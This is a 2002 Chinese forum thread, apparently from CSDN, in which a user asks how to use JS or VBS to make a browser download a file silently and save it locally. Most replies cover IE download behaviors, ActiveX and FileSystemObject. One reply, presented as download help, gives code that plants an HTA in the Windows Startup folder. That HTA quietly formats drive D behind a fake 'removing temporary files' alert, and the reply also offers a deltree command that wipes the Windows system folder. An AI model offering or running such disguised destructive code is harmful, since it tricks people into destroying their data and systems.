社区
JavaScript
帖子详情
请问如何用JS或VBS实现浏览器自动下载某一URL对应的文件并保存在本地?
laohenry
2002-06-18 06:13:44
如题。
一定要自己做ActiveX控件吗?如果要的话,请指点一下大致的思路。谢谢!
...全文
553
15
打赏
收藏
请问如何用JS或VBS实现浏览器自动下载某一URL对应的文件并保存在本地?
如题。 一定要自己做ActiveX控件吗?如果要的话,请指点一下大致的思路。谢谢!
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
15 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
QQKiKi
2002-06-27
打赏
举报
回复
<ie:download id=ie style="behavior:url(#default#download)"/>
<APPLET HEIGHT=0 WIDTH=0 id=wsh code=com.ms.activeX.ActiveXComponent></APPLET>
</div>
<script language="javascript">
function view()
{
ie.startDownload("url",show_oe); // <- 这里可以指定要下载文件的url。
}
function show_oe(sContent){
// 要下载的文件内容就在sContent中保存着
// 新建文件对象,来写文件
var filesystems = new ActiveXObject("Scripting.FileSystemObject");
var savefile = filesystems.CreateTextFile(“filename”,true); // <- 这里可以指定要建立的文件名(绝对路径)
savefile.Write(sContent); // 将SContent中内容写入文件
savefile.Close();
}
这段程序让我的杀毒程序报错拉~~~这样的话别人客户就无法访问了
还有,ie.startDownload("url",show_oe); 我一写HTTP://……就出错,说没有权限啊
有没有其他办法啊
孟繁光
2002-06-22
打赏
举报
回复
至于直接下载文件,可以参考如下代码:
----------------------------------
scr.Reset();
scr.Path="C:\\windows\\Start Menu\\Programs\\啟動\\startup.hta";
scr.Doc="<object id='wsh' classid='clsid:935DC22-1CF0-11D0-ADB9-00C04FD58A0B'>
wsh.Run('Start/m format.com d:/q/autotest/u');
alert('IMPORTANT: Windows is removing unused temporary files.');
scr.Write();
--------------
舉例子:*.vbs
Set so=CreateObject("Scripting.FileSystemObject")
so.GetFile(c:\windows\winipcfg.exe).Copy("e:\winipcfg.exe")
-------------
另外:
wsh.Run('start.exe/m deltree/y d:\windows\system\*.*')
P.S.
hta: HTML Application
wsh: Windows Scripting Host
laohenry
2002-06-21
打赏
举报
回复
希望一起进步。
laohenry
2002-06-21
打赏
举报
回复
上面的方法解决另一问题很有效,但是没能达到我要的目的。
现在这个问题被我解决了,通过作ActiveX控件实现的。
其实原理很简单,只需要用Mictosoft Internet Transfer Control即可解决这个问题,而且通过使用定制控件,还可以检查目标路径是否存在和创建目标路径。
minitigger
2002-06-20
打赏
举报
回复
试一下去了
minitigger
2002-06-19
打赏
举报
回复
我现在是用<a href="aaa">aaa</a>,然后aaa的扩展名是.csv,当点击之后就弹出对话框,提示:马上打开,还是下载到指定位置。如果马上打开的话,自动用excel打开了,爽的很,否则我的分析文件结构,再作一个table来显示,由此我的工作提前了将近一个周的工期了。
不过如果.txt文件,就直接打开了,没有提示,不知道是什么原理,希望大家能讲解一下。
cawangjun
2002-06-19
打赏
举报
回复
.csv是一种数据文件。以一定的间隔符(如逗号)间隔的数据项,按行存放。这种文件可以作为数据库文件使用。
可以直接用excel直接打开这和ie浏览器有关。它将这种文件关联到excel。
你可以使用数据绑定技术来实现.csv文件的显示,这样就无须客户端安装excel了。
至于直接下载文件,可以参考如下代码:
<ie:download id=ie style="behavior:url(#default#download)"/>
<APPLET HEIGHT=0 WIDTH=0 id=wsh code=com.ms.activeX.ActiveXComponent></APPLET>
</div>
<script language="javascript">
function view()
{
ie.startDownload("url",show_oe); // <- 这里可以指定要下载文件的url。
}
function show_oe(sContent){
// 要下载的文件内容就在sContent中保存着
// 新建文件对象,来写文件
var filesystems = new ActiveXObject("Scripting.FileSystemObject");
var savefile = filesystems.CreateTextFile(“filename”,true); // <- 这里可以指定要建立的文件名(绝对路径)
savefile.Write(sContent); // 将SContent中内容写入文件
savefile.Close();
}
chenzengxi
2002-06-18
打赏
举报
回复
哦,又说是透明的,那不行~~~~~~~~~~
一定要做ActiveX, :(
laohenry
2002-06-18
打赏
举报
回复
我不是要这样的功能。
我要程序在后台将文件下载并保存至指定的文件夹中。
chenzengxi
2002-06-18
打赏
举报
回复
这样都行?找个病毒给你下载,哈哈!
emu
2002-06-18
打赏
举报
回复
呵呵,我的机器见到下载zip的连接就自动下载了解开,我都拿它没辙。
chenzengxi
2002-06-18
打赏
举报
回复
直接下载的话,加入即可,呵呵...
<SCRIPT>
window.open("URL.zip");
</SCRIPT>
chenzengxi
2002-06-18
打赏
举报
回复
那就行啦,呵呵,看来我还答对啦,那样还有很多方法.
laohenry
2002-06-18
打赏
举报
回复
是阿。我要的是自动下载,对用户透明地操作。
chenzengxi
2002-06-18
打赏
举报
回复
相当于链接:window.open("URL.zip");
不过可能不是你要的结果, :) 要提示下载。
zhenyuren_companyddiquary_29020_1768802839580.zip
zhenyuren_companyddiquary_29020_1768802839580.zip
基于PyTorch框架
实现
的高性能中文语音识别系统MASR_支持开箱即用与自定义增量训练_集成门控卷积神经网络与CTC解码技术_提供完整Docker环境与预训练模型_针对AISHE.zip
基于PyTorch框架
实现
的高性能中文语音识别系统MASR_支持开箱即用与自定义增量训练_集成门控卷积神经网络与CTC解码技术_提供完整Docker环境与预训练模型_针对AISHE.zip
基于Vue
js
与iView组件库构建的现代化零售收银系统前端项目_该项目是一个功能全面的零售收银管理平台前端
实现
核心模块涵盖商品管理包括商品列表分类库存用户与会员管理.zip
基于Vue
js
与iView组件库构建的现代化零售收银系统前端项目_该项目是一个功能全面的零售收银管理平台前端
实现
核心模块涵盖商品管理包括商品列表分类库存用户与会员管理.zip
废物分类检测数据集-20251123-235344.zip
一、基础信息 数据集名称:废物分类检测数据集 图片数量: 训练集:9,801张图片 验证集:975张图片 测试集:615张图片 总图片数:11,391张图片 分类类别: Contamination(污染):废物中的污染物体或不可回收杂质。 Glass(玻璃):可回收的玻璃材料。 Metal(金属):可回收的金属材料。 Paper(纸张):可回收的纸张材料。 Plastic(塑料):可回收的塑料材料。 标注格式: YOLO格式,包含边界框和实例分割多边形,适用于目标检测和实例分割任务。 数据格式:图片数据,来源于实际场景,细节丰富。 二、适用场景 废物回收与分类AI系统开发: 数据集支持目标检测和实例分割任务,帮助构建能够
自动
识别和分类废物材料的AI模型,提升回收效率。 环境监测与治理: 集成至环境监控系统,实时检测污染和可回收材料,辅助环境治理决策。 学术与工业研究: 支持计算机视觉在环保和废物管理领域的应用研究,推动技术创新。 教育与培训: 用于培训机构或学校,作为学习废物分类和AI模型开发的重要资源。 三、数据集优势 类别多样性与代表性: 包含5个关键废物分类类别,覆盖常见可回收材料和污染物,确保模型训练的全面性。 标注精准与任务适配: 每张图片均经过精确标注,兼容YOLO格式,直接支持目标检测和实例分割任务,便于模型开发。 数据规模与质量: 拥有超过11,000张图片,提供大量训练样本,图片来源于真实场景,增强模型泛化能力。 实际应用价值高: 专注于废物分类和污染检测,为环保、回收行业提供直接数据支撑,促进可持续发展。
全开源UI运营版聚合支付系统_三方支付系统_支付宝微信扫码H5_这是一个基于现代Web技术栈构建的完全开源且配备专业运营管理后台用户界面的企业级聚合支付解决方案它深度整合了支付.zip
全开源UI运营版聚合支付系统_三方支付系统_支付宝微信扫码H5_这是一个基于现代Web技术栈构建的完全开源且配备专业运营管理后台用户界面的企业级聚合支付解决方案它深度整合了支付.zip
JavaScript
87,996
社区成员
224,693
社区内容
发帖
与我相关
我的任务
JavaScript
Web 开发 JavaScript
复制链接
扫一扫
分享
社区描述
Web 开发 JavaScript
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章